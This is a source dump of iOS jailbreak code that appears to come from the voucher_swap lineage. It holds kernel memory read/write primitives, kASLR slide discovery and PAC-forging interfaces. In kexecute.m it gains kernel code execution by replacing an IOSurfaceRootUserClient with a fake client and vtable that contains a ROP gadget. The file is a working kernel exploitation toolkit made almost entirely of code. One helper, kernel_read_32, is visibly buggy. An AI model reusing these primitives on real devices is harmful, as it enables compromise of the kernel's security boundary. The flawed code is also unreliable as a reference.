-------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call.c 3 | * Brandon Azad 4 | */ 5 | #include "kernel_call.h" 6 | 7 | #include "kern_utils.h" 8 | #include "kernel_memory.h" 9 | #include "offsetof.h" 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | #include "pac.h" 16 | #include "user_client.h" 17 | #include "log.h" 18 | 19 | // ---- Public API -------------------------------------------------------------------------------- 20 | 21 | bool 22 | kernel_call_init() { 23 | 24 | kernel_task_port = tfpzero; 25 | kernel_task = kernel_read64(find_port(tfpzero) + offsetof_ip_kobject); 26 | current_task = kernel_read64(find_port(mach_task_self()) + offsetof_ip_kobject); 27 | 28 | bool ok = stage1_kernel_call_init() 29 | && stage2_kernel_call_init() 30 | && stage3_kernel_call_init(); 31 | if (!ok) { 32 | kernel_call_deinit(); 33 | } 34 | return ok; 35 | } 36 | 37 | void 38 | kernel_call_deinit() { 39 | stage3_kernel_call_deinit(); 40 | stage2_kernel_call_deinit(); 41 | stage1_kernel_call_deinit(); 42 | } 43 | 44 | uint32_t 45 | kernel_call_7(uint64_t function, size_t argument_count, ...) { 46 | assert(argument_count <= 7); 47 | uint64_t arguments[7]; 48 | va_list ap; 49 | va_start(ap, argument_count); 50 | for (size_t i = 0; i < argument_count && i < 7; i++) { 51 | arguments[i] = va_arg(ap, uint64_t); 52 | } 53 | va_end(ap); 54 | return kernel_call_7v(function, argument_count, arguments); 55 | } 56 | -------------------------------------------------------------------------------- /kernel_call.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * kernel_call_init 14 | * 15 | * Description: 16 | * Initialize kernel_call functions. 17 | */ 18 | bool kernel_call_init(void); 19 | 20 | /* 21 | * kernel_call_deinit 22 | * 23 | * Description: 24 | * Deinitialize the kernel call subsystem and restore the kernel to a safe state. 25 | */ 26 | void kernel_call_deinit(void); 27 | 28 | /* 29 | * kernel_call_7 30 | * 31 | * Description: 32 | * Call a kernel function with the specified arguments. 33 | * 34 | * Restrictions: 35 | * See kernel_call_7v(). 36 | */ 37 | uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...); 38 | 39 | /* 40 | * kernel_call_7v 41 | * 42 | * Description: 43 | * Call a kernel function with the specified arguments. 44 | * 45 | * Restrictions: 46 | * At most 7 arguments can be passed. 47 | * arguments[0] must be nonzero. 48 | * The return value is truncated to 32 bits. 49 | */ 50 | uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]); 51 | 52 | /* 53 | * kernel_forge_pacia 54 | * 55 | * Description: 56 | * Forge a PACIA pointer using the kernel forging gadget. 57 | */ 58 | uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context); 59 | 60 | /* 61 | * kernel_forge_pacia_with_type 62 | * 63 | * Description: 64 | * Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the 65 | * type code, as context. 66 | */ 67 | uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type); 68 | 69 | /* 70 | * kernel_forge_pacda 71 | * 72 | * Description: 73 | * Forge a PACDA pointer using the kernel forging gadget. 74 | */ 75 | uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context); 76 | 77 | /* 78 | * kernel_xpaci 79 | * 80 | * Description: 81 | * Strip a PACIx code from a kernel pointer. 82 | */ 83 | uint64_t kernel_xpaci(uint64_t pointer); 84 | 85 | /* 86 | * kernel_xpacd 87 | * 88 | * Description: 89 | * Strip a PACDx code from a kernel pointer. 90 | */ 91 | uint64_t kernel_xpacd(uint64_t pointer); 92 | 93 | #endif 94 | -------------------------------------------------------------------------------- /kernel_memory.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_memory.c 3 | * Brandon Azad 4 | */ 5 | #define KERNEL_MEMORY_EXTERN 6 | #include "kernel_memory.h" 7 | 8 | #include "log.h" 9 | #include "mach_vm.h" 10 | #include "parameters.h" 11 | 12 | // ---- Kernel memory functions ------------------------------------------------------------------- 13 | 14 | bool 15 | kernel_read(uint64_t address, void *data, size_t size) { 16 | mach_vm_size_t size_out; 17 | kern_return_t kr = mach_vm_read_overwrite( 18 | kernel_task_port, 19 | address, 20 | size, 21 | (mach_vm_address_t) data, 22 | &size_out); 23 | 24 | if (kr != KERN_SUCCESS) { 25 | ERROR("%s returned %d: %s", "mach_vm_read_overwrite", kr, mach_error_string(kr)); 26 | ERROR("could not %s address 0x%016llx", "read", address); 27 | return false; 28 | } 29 | if (size_out != size) { 30 | ERROR("partial read of address 0x%016llx: %llu of %zu bytes", 31 | address, size_out, size); 32 | return false; 33 | } 34 | return true; 35 | } 36 | 37 | bool 38 | kernel_write(uint64_t address, const void *data, size_t size) { 39 | kern_return_t kr = mach_vm_write(kernel_task_port, address, 40 | (mach_vm_address_t) data, (mach_msg_size_t) size); 41 | if (kr != KERN_SUCCESS) { 42 | ERROR("%s returned %d: %s", "mach_vm_write", kr, mach_error_string(kr)); 43 | ERROR("could not %s address 0x%016llx", "write", address); 44 | return false; 45 | } 46 | return true; 47 | } 48 | 49 | uint8_t 50 | kernel_read8(uint64_t address) { 51 | uint8_t value; 52 | bool ok = kernel_read(address, &value, sizeof(value)); 53 | if (!ok) { 54 | return -1; 55 | } 56 | return value; 57 | } 58 | 59 | uint16_t 60 | kernel_read16(uint64_t address) { 61 | uint16_t value; 62 | bool ok = kernel_read(address, &value, sizeof(value)); 63 | if (!ok) { 64 | return -1; 65 | } 66 | return value; 67 | } 68 | 69 | uint32_t 70 | kernel_read32(uint64_t address) { 71 | uint32_t value; 72 | bool ok = kernel_read(address, &value, sizeof(value)); 73 | if (!ok) { 74 | return -1; 75 | } 76 | return value; 77 | } 78 | 79 | uint32_t 80 | kernel_read_32(uint64_t address, void *data, size_t size) { 81 | uint32_t *value = data; 82 | bool ok = kernel_read(address, &value, size); 83 | if (!ok) { 84 | return -1; 85 | } 86 | return *value; 87 | } 88 | 89 | 90 | uint64_t 91 | kernel_read64(uint64_t address) { 92 | uint64_t value; 93 | bool ok = kernel_read(address, &value, sizeof(value)); 94 | if (!ok) { 95 | return -1; 96 | } 97 | return value; 98 | } 99 | 100 | bool 101 | kernel_write8(uint64_t address, uint8_t value) { 102 | return kernel_write(address, &value, sizeof(value)); 103 | } 104 | 105 | bool 106 | kernel_write16(uint64_t address, uint16_t value) { 107 | return kernel_write(address, &value, sizeof(value)); 108 | } 109 | 110 | bool 111 | kernel_write32(uint64_t address, uint32_t value) { 112 | return kernel_write(address, &value, sizeof(value)); 113 | } 114 | 115 | bool 116 | kernel_write64(uint64_t address, uint64_t value) { 117 | return kernel_write(address, &value, sizeof(value)); 118 | } 119 | 120 | // ---- Kernel utility functions ------------------------------------------------------------------ 121 | 122 | bool 123 | kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name, 124 | uint64_t *ipc_port, uint64_t *ipc_entry) { 125 | // Get the task's ipc_space. 126 | uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space)); 127 | // Get the size of the table. 128 | uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size)); 129 | // Get the index of the port and check that it is in-bounds. 130 | uint32_t port_index = MACH_PORT_INDEX(port_name); 131 | if (port_index >= is_table_size) { 132 | return false; 133 | } 134 | // Get the space's is_table and compute the address of this port's entry. 135 | uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table)); 136 | uint64_t entry = is_table + port_index * SIZE(ipc_entry); 137 | if (ipc_entry != NULL) { 138 | *ipc_entry = entry; 139 | } 140 | // Get the address of the port if requested. 141 | if (ipc_port != NULL) { 142 | *ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object)); 143 | } 144 | return true; 145 | } 146 | 147 | 148 | //----------pwn20 Kernel Read/Write functions------ 149 | 150 | #define KERNEL_SEARCH_ADDRESS 0xfffffff007004000 151 | 152 | //uint64_t 153 | //returnKernelBase(uint64_t kernel_slide) { 154 | // return kernel_slide + KERNEL_SEARCH_ADDRESS; 155 | //} 156 | // 157 | // 158 | //size_t kread(uint64_t where, void* p, size_t size) 159 | //{ 160 | // int rv; 161 | // size_t offset = 0; 162 | // while (offset < size) { 163 | // mach_vm_size_t sz, chunk = 2048; 164 | // if (chunk > size - offset) { 165 | // chunk = size - offset; 166 | // } 167 | // 168 | // rv = mach_vm_read_overwrite(kernel_task_port, 169 | // where + offset, 170 | // chunk, 171 | // (mach_vm_address_t)p + offset, 172 | // &sz); 173 | // if (rv || sz == 0) { 174 | // //LOG("error reading kernel @%p", (void*)(offset + where)); 175 | // break; 176 | // } 177 | // offset += sz; 178 | // } 179 | // return offset; 180 | //} 181 | // 182 | //size_t kwrite(uint64_t where, const void* p, size_t size) 183 | //{ 184 | // int rv; 185 | // size_t offset = 0; 186 | // while (offset < size) { 187 | // size_t chunk = 2048; 188 | // if (chunk > size - offset) { 189 | // chunk = size - offset; 190 | // } 191 | // rv = mach_vm_write(kernel_task_port, 192 | // where + offset, 193 | // (mach_vm_offset_t)p + offset, 194 | // (mach_msg_type_number_t)chunk); 195 | // if (rv) { 196 | // //LOG("error writing kernel @%p", (void*)(offset + where)); 197 | // break; 198 | // } 199 | // offset += chunk; 200 | // } 201 | // return offset; 202 | //} 203 | -------------------------------------------------------------------------------- /kernel_memory.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_memory.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_ 6 | #define VOUCHER_SWAP__KERNEL_MEMORY_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #ifdef KERNEL_MEMORY_EXTERN 14 | #define extern KERNEL_MEMORY_EXTERN 15 | #endif 16 | 17 | 18 | /* 19 | * kernel_task_port 20 | * 21 | * Description: 22 | * The kernel task port. 23 | */ 24 | extern mach_port_t kernel_task_port; 25 | 26 | /* 27 | * kernel_task 28 | * 29 | * Description: 30 | * The address of the kernel_task in kernel memory. 31 | */ 32 | extern uint64_t kernel_task; 33 | 34 | /* 35 | * current_task 36 | * 37 | * Description: 38 | * The address of the current task in kernel memory. 39 | */ 40 | extern uint64_t current_task; 41 | 42 | /* 43 | * kernel_read 44 | * 45 | * Description: 46 | * Read data from kernel memory. 47 | */ 48 | bool kernel_read(uint64_t address, void *data, size_t size); 49 | 50 | /* 51 | * kernel_write 52 | * 53 | * Description: 54 | * Write data to kernel memory. 55 | */ 56 | bool kernel_write(uint64_t address, const void *data, size_t size); 57 | 58 | /* 59 | * kernel_read8 60 | * 61 | * Description: 62 | * Read a single byte from kernel memory. If the read fails, -1 is returned. 63 | */ 64 | uint8_t kernel_read8(uint64_t address); 65 | 66 | /* 67 | * kernel_read16 68 | * 69 | * Description: 70 | * Read a 16-bit value from kernel memory. If the read fails, -1 is returned. 71 | */ 72 | uint16_t kernel_read16(uint64_t address); 73 | 74 | /* 75 | * kernel_read32 76 | * 77 | * Description: 78 | * Read a 32-bit value from kernel memory. If the read fails, -1 is returned. 79 | */ 80 | uint32_t kernel_read32(uint64_t address); 81 | 82 | 83 | uint32_t kernel_read_32(uint64_t address, void *data, size_t size); 84 | 85 | /* 86 | * kernel_read64 87 | * 88 | * Description: 89 | * Read a 64-bit value from kernel memory. If the read fails, -1 is returned. 90 | */ 91 | uint64_t kernel_read64(uint64_t address); 92 | 93 | /* 94 | * kernel_write8 95 | * 96 | * Description: 97 | * Write a single byte to kernel memory. 98 | */ 99 | bool kernel_write8(uint64_t address, uint8_t value); 100 | 101 | /* 102 | * kernel_write16 103 | * 104 | * Description: 105 | * Write a 16-bit value to kernel memory. 106 | */ 107 | bool kernel_write16(uint64_t address, uint16_t value); 108 | 109 | /* 110 | * kernel_write32 111 | * 112 | * Description: 113 | * Write a 32-bit value to kernel memory. 114 | */ 115 | bool kernel_write32(uint64_t address, uint32_t value); 116 | 117 | /* 118 | * kernel_write64 119 | * 120 | * Description: 121 | * Write a 64-bit value to kernel memory. 122 | */ 123 | bool kernel_write64(uint64_t address, uint64_t value); 124 | 125 | /* 126 | * kernel_ipc_port_lookup 127 | * 128 | * Description: 129 | * Get the address of the ipc_port and ipc_entry for a Mach port name. 130 | */ 131 | bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name, 132 | uint64_t *ipc_port, uint64_t *ipc_entry); 133 | 134 | //-------pwn20---- Kernel Read/Write 135 | 136 | uint64_t returnKernelBase(uint64_t kernel_slide); 137 | 138 | 139 | size_t kread(uint64_t where, void* p, size_t size); 140 | 141 | size_t kwrite(uint64_t where, const void* p, size_t size); 142 | 143 | 144 | #undef extern 145 | 146 | #endif 147 | -------------------------------------------------------------------------------- /kernel_slide.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_slide.c 3 | * Brandon Azad 4 | */ 5 | #define KERNEL_SLIDE_EXTERN 6 | #include "kernel_slide.h" 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include "kernel_memory.h" 13 | #include "log.h" 14 | #include "parameters.h" 15 | #include "platform.h" 16 | 17 | /* 18 | * is_kernel_base 19 | * 20 | * Description: 21 | * Checks if the given address is the kernel base. 22 | */ 23 | static bool 24 | is_kernel_base(uint64_t base) { 25 | // Read the data at the base address as a Mach-O header. 26 | struct mach_header_64 header = {}; 27 | bool ok = kernel_read(base, &header, sizeof(header)); 28 | if (!ok) { 29 | return false; 30 | } 31 | // Validate that this looks like the kernel base. We don't check the CPU subtype since it 32 | // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1, 33 | // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is 34 | // CPU_SUBTYPE_ARM64_V8). 35 | if (!(header.magic == MH_MAGIC_64 36 | && header.cputype == platform.cpu_type 37 | && header.filetype == MH_EXECUTE 38 | && header.ncmds > 2)) { 39 | return false; 40 | } 41 | return true; 42 | } 43 | 44 | bool 45 | kernel_slide_init() { 46 | if (kernel_slide != 0) { 47 | return true; 48 | } 49 | // Get the address of the host port. 50 | mach_port_t host = mach_host_self(); 51 | assert(MACH_PORT_VALID(host)); 52 | uint64_t host_port; 53 | bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL); 54 | mach_port_deallocate(mach_task_self(), host); 55 | if (!ok) { 56 | ERROR("could not lookup host port"); 57 | return false; 58 | } 59 | // Get the address of realhost. 60 | uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject)); 61 | return kernel_slide_init_with_kernel_image_address(realhost); 62 | } 63 | 64 | bool 65 | kernel_slide_init_with_kernel_image_address(uint64_t address) { 66 | if (kernel_slide != 0) { 67 | return true; 68 | } 69 | // Find the highest possible kernel base address that could still correspond to the given 70 | // kernel image address. 71 | uint64_t base = STATIC_ADDRESS(kernel_base); 72 | assert(address > base); 73 | base = base + ((address - base) / kernel_slide_step) * kernel_slide_step; 74 | // Now walk backwards from that kernel base one kernel slide at a time until we find the 75 | // real kernel base. 76 | while (base > STATIC_ADDRESS(kernel_base)) { 77 | bool found = is_kernel_base(base); 78 | if (found) { 79 | kernel_slide = base - STATIC_ADDRESS(kernel_base); 80 | DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide); 81 | return true; 82 | } 83 | base -= kernel_slide_step; 84 | } 85 | ERROR("could not find kernel base"); 86 | ERROR("could not determine kernel slide"); 87 | return false; 88 | } 89 | -------------------------------------------------------------------------------- /kernel_slide.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_slide.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_ 6 | #define VOUCHER_SWAP__KERNEL_SLIDE_H_ 7 | 8 | #include 9 | #include 10 | 11 | #ifdef KERNEL_SLIDE_EXTERN 12 | #define extern KERNEL_SLIDE_EXTERN 13 | #endif 14 | 15 | /* 16 | * kernel_slide 17 | * 18 | * Description: 19 | * The kASLR slide. 20 | */ 21 | extern uint64_t kernel_slide; 22 | 23 | /* 24 | * kernel_slide_init 25 | * 26 | * Description: 27 | * Find the value of the kernel slide using kernel_read() and current_task. 28 | */ 29 | bool kernel_slide_init(void); 30 | 31 | /* 32 | * kernel_slide_init_with_kernel_image_address 33 | * 34 | * Description: 35 | * Find the value of the kernel slide using kernel_read(), starting with an address that is 36 | * known to reside within the kernel image. 37 | */ 38 | bool kernel_slide_init_with_kernel_image_address(uint64_t address); 39 | 40 | #undef extern 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /kexecute.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); 5 | void init_kexecute(void); 6 | void term_kexecute(void); 7 | -------------------------------------------------------------------------------- /kexecute.m: -------------------------------------------------------------------------------- 1 | #include "kmem.h" 2 | #include "kexecute.h" 3 | #include "kern_utils.h" 4 | #include "patchfinder64.h" 5 | #include "offsetof.h" 6 | #include 7 | 8 | mach_port_t prepare_user_client(void) { 9 | kern_return_t err; 10 | mach_port_t user_client; 11 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 12 | 13 | if (service == IO_OBJECT_NULL){ 14 | NSLog(@" [-] unable to find service\n"); 15 | exit(EXIT_FAILURE); 16 | } 17 | 18 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 19 | if (err != KERN_SUCCESS){ 20 | NSLog(@" [-] unable to get user client connection\n"); 21 | exit(EXIT_FAILURE); 22 | } 23 | 24 | 25 | NSLog(@"got user client: 0x%x\n", user_client); 26 | return user_client; 27 | } 28 | 29 | int kexecute_lock = 0; 30 | static mach_port_t user_client; 31 | static uint64_t IOSurfaceRootUserClient_port; 32 | static uint64_t IOSurfaceRootUserClient_addr; 33 | static uint64_t fake_vtable; 34 | static uint64_t fake_client; 35 | const int fake_kalloc_size = 0x1000; 36 | 37 | void init_kexecute(void) { 38 | user_client = prepare_user_client(); 39 | 40 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 41 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address 42 | NSLog(@"Found port: 0x%llx\n", IOSurfaceRootUserClient_port); 43 | 44 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field 45 | NSLog(@"Found addr: 0x%llx\n", IOSurfaceRootUserClient_addr); 46 | 47 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object 48 | NSLog(@"Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab); 49 | 50 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 51 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 52 | 53 | 54 | // Create the vtable in the kernel memory, then copy the existing vtable into there 55 | fake_vtable = kalloc(fake_kalloc_size); 56 | NSLog(@"Created fake_vtable at %016llx\n", fake_vtable); 57 | 58 | for (int i = 0; i < 0x200; i++) { 59 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); 60 | } 61 | 62 | NSLog(@"Copied some of the vtable over\n"); 63 | 64 | // Create the fake user client 65 | fake_client = kalloc(fake_kalloc_size); 66 | NSLog(@"Created fake_client at %016llx\n", fake_client); 67 | 68 | for (int i = 0; i < 0x200; i++) { 69 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); 70 | } 71 | 72 | NSLog(@"Copied the user client over\n"); 73 | 74 | // Write our fake vtable into the fake user client 75 | wk64(fake_client, fake_vtable); 76 | 77 | // Replace the user client with ours 78 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); 79 | 80 | // Now the userclient port we have will look into our fake user client rather than the old one 81 | 82 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 83 | wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret()); 84 | 85 | NSLog(@"Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex"); 86 | } 87 | 88 | void term_kexecute(void) { 89 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); 90 | kfree(fake_vtable, fake_kalloc_size); 91 | kfree(fake_client, fake_kalloc_size); 92 | } 93 | 94 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 95 | 96 | while (kexecute_lock){ 97 | NSLog(@"Kexecute locked. Waiting for 10ms."); 98 | usleep(10000); 99 | } 100 | 101 | kexecute_lock = 1; 102 | 103 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 104 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 105 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 106 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 107 | // through like normal. 108 | 109 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 110 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 111 | // (i'm not actually sure if the switch back is necessary but meh) 112 | 113 | 114 | uint64_t offx20 = rk64(fake_client+0x40); 115 | uint64_t offx28 = rk64(fake_client+0x48); 116 | wk64(fake_client+0x40, x0); 117 | wk64(fake_client+0x48, addr); 118 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 119 | wk64(fake_client+0x40, offx20); 120 | wk64(fake_client+0x48, offx28); 121 | kexecute_lock = 0; 122 | return returnval; 123 | } 124 | -------------------------------------------------------------------------------- /kmem.c: -------------------------------------------------------------------------------- 1 | #import "kern_utils.h" 2 | #import "patchfinder64.h" 3 | #import "kmem.h" 4 | 5 | #define MAX_CHUNK_SIZE 0xFFF 6 | 7 | size_t kread(uint64_t where, void *p, size_t size) { 8 | int rv; 9 | size_t offset = 0; 10 | while (offset < size) { 11 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE; 12 | if (chunk > size - offset) { 13 | chunk = size - offset; 14 | } 15 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 16 | if (rv || sz == 0) { 17 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); 18 | break; 19 | } 20 | offset += sz; 21 | } 22 | return offset; 23 | } 24 | 25 | size_t kwrite(uint64_t where, const void *p, size_t size) { 26 | int rv; 27 | size_t offset = 0; 28 | while (offset < size) { 29 | size_t chunk = MAX_CHUNK_SIZE; 30 | if (chunk > size - offset) { 31 | chunk = size - offset; 32 | } 33 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); 34 | if (rv) { 35 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); 36 | break; 37 | } 38 | offset += chunk; 39 | } 40 | return offset; 41 | } 42 | 43 | uint64_t kalloc(vm_size_t size){ 44 | mach_vm_address_t address = 0; 45 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 46 | return address; 47 | } 48 | 49 | void kfree(mach_vm_address_t address, vm_size_t size){ 50 | mach_vm_deallocate(tfpzero, address, size); 51 | } 52 | 53 | uint32_t rk32(uint64_t kaddr) { 54 | uint32_t val = 0; 55 | kread(kaddr, &val, sizeof(val)); 56 | return val; 57 | } 58 | 59 | uint64_t rk64(uint64_t kaddr) { 60 | uint64_t val = 0; 61 | kread(kaddr, &val, sizeof(val)); 62 | return val; 63 | } 64 | 65 | void wk32(uint64_t kaddr, uint32_t val) { 66 | kwrite(kaddr, &val, sizeof(val)); 67 | } 68 | 69 | void wk64(uint64_t kaddr, uint64_t val) { 70 | kwrite(kaddr, &val, sizeof(val)); 71 | } 72 | 73 | // thx Siguza 74 | typedef struct { 75 | uint64_t prev; 76 | uint64_t next; 77 | uint64_t start; 78 | uint64_t end; 79 | } kmap_hdr_t; 80 | 81 | uint64_t zm_fix_addr(uint64_t addr) { 82 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0}; 83 | 84 | if (zm_hdr.start == 0) { 85 | // xxx rk64(0) ?! 86 | uint64_t zone_map = rk64(find_zone_map_ref()); 87 | // hdr is at offset 0x10, mutexes at start 88 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr)); 89 | printf("zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr)); 90 | 91 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) { 92 | printf("kread of zone_map failed!\n"); 93 | exit(1); 94 | } 95 | 96 | if (zm_hdr.end - zm_hdr.start > 0x100000000) { 97 | printf("zone_map is too big, sorry.\n"); 98 | exit(1); 99 | } 100 | } 101 | 102 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff); 103 | 104 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; 105 | } 106 | 107 | int kstrcmp(uint64_t kstr, const char* str) { 108 | // XXX be safer, dont just assume you wont cause any 109 | // page faults by this 110 | size_t len = strlen(str) + 1; 111 | char *local = malloc(len + 1); 112 | local[len] = '\0'; 113 | 114 | int ret = 1; 115 | 116 | if (kread(kstr, local, len) == len) { 117 | ret = strcmp(local, str); 118 | } 119 | 120 | free(local); 121 | 122 | return ret; 123 | } 124 | -------------------------------------------------------------------------------- /kmem.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | uint64_t kalloc(vm_size_t size); 4 | void kfree(mach_vm_address_t address, vm_size_t size); 5 | 6 | size_t kread(uint64_t where, void *p, size_t size); 7 | uint32_t rk32(uint64_t kaddr); 8 | uint64_t rk64(uint64_t kaddr); 9 | 10 | size_t kwrite(uint64_t where, const void *p, size_t size); 11 | void wk32(uint64_t kaddr, uint32_t val); 12 | void wk64(uint64_t kaddr, uint64_t val); 13 | 14 | uint64_t zm_fix_addr(uint64_t addr); 15 | 16 | int kstrcmp(uint64_t kstr, const char* str); 17 | -------------------------------------------------------------------------------- /launch.h: -------------------------------------------------------------------------------- 1 | #ifndef __XPC_LAUNCH_H__ 2 | #define __XPC_LAUNCH_H__ 3 | 4 | /*! 5 | * @header 6 | * These interfaces were only ever documented for the purpose of allowing a 7 | * launchd job to obtain file descriptors associated with the sockets it 8 | * advertised in its launchd.plist(5). That functionality is now available in a 9 | * much more straightforward fashion through the {@link launch_activate_socket} 10 | * API. 11 | * 12 | * There are currently no replacements for other uses of the {@link launch_msg} 13 | * API, including submitting, removing, starting, stopping and listing jobs. 14 | */ 15 | 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | #if __has_feature(assume_nonnull) 25 | _Pragma("clang assume_nonnull begin") 26 | #endif 27 | __BEGIN_DECLS 28 | 29 | #define LAUNCH_KEY_SUBMITJOB "SubmitJob" 30 | #define LAUNCH_KEY_REMOVEJOB "RemoveJob" 31 | #define LAUNCH_KEY_STARTJOB "StartJob" 32 | #define LAUNCH_KEY_STOPJOB "StopJob" 33 | #define LAUNCH_KEY_GETJOB "GetJob" 34 | #define LAUNCH_KEY_GETJOBS "GetJobs" 35 | #define LAUNCH_KEY_CHECKIN "CheckIn" 36 | 37 | #define LAUNCH_JOBKEY_LABEL "Label" 38 | #define LAUNCH_JOBKEY_DISABLED "Disabled" 39 | #define LAUNCH_JOBKEY_USERNAME "UserName" 40 | #define LAUNCH_JOBKEY_GROUPNAME "GroupName" 41 | #define LAUNCH_JOBKEY_TIMEOUT "TimeOut" 42 | #define LAUNCH_JOBKEY_EXITTIMEOUT "ExitTimeOut" 43 | #define LAUNCH_JOBKEY_INITGROUPS "InitGroups" 44 | #define LAUNCH_JOBKEY_SOCKETS "Sockets" 45 | #define LAUNCH_JOBKEY_MACHSERVICES "MachServices" 46 | #define LAUNCH_JOBKEY_MACHSERVICELOOKUPPOLICIES "MachServiceLookupPolicies" 47 | #define LAUNCH_JOBKEY_INETDCOMPATIBILITY "inetdCompatibility" 48 | #define LAUNCH_JOBKEY_ENABLEGLOBBING "EnableGlobbing" 49 | #define LAUNCH_JOBKEY_PROGRAMARGUMENTS "ProgramArguments" 50 | #define LAUNCH_JOBKEY_PROGRAM "Program" 51 | #define LAUNCH_JOBKEY_ONDEMAND "OnDemand" 52 | #define LAUNCH_JOBKEY_KEEPALIVE "KeepAlive" 53 | #define LAUNCH_JOBKEY_LIMITLOADTOHOSTS "LimitLoadToHosts" 54 | #define LAUNCH_JOBKEY_LIMITLOADFROMHOSTS "LimitLoadFromHosts" 55 | #define LAUNCH_JOBKEY_LIMITLOADTOSESSIONTYPE "LimitLoadToSessionType" 56 | #define LAUNCH_JOBKEY_LIMITLOADTOHARDWARE "LimitLoadToHardware" 57 | #define LAUNCH_JOBKEY_LIMITLOADFROMHARDWARE "LimitLoadFromHardware" 58 | #define LAUNCH_JOBKEY_RUNATLOAD "RunAtLoad" 59 | #define LAUNCH_JOBKEY_ROOTDIRECTORY "RootDirectory" 60 | #define 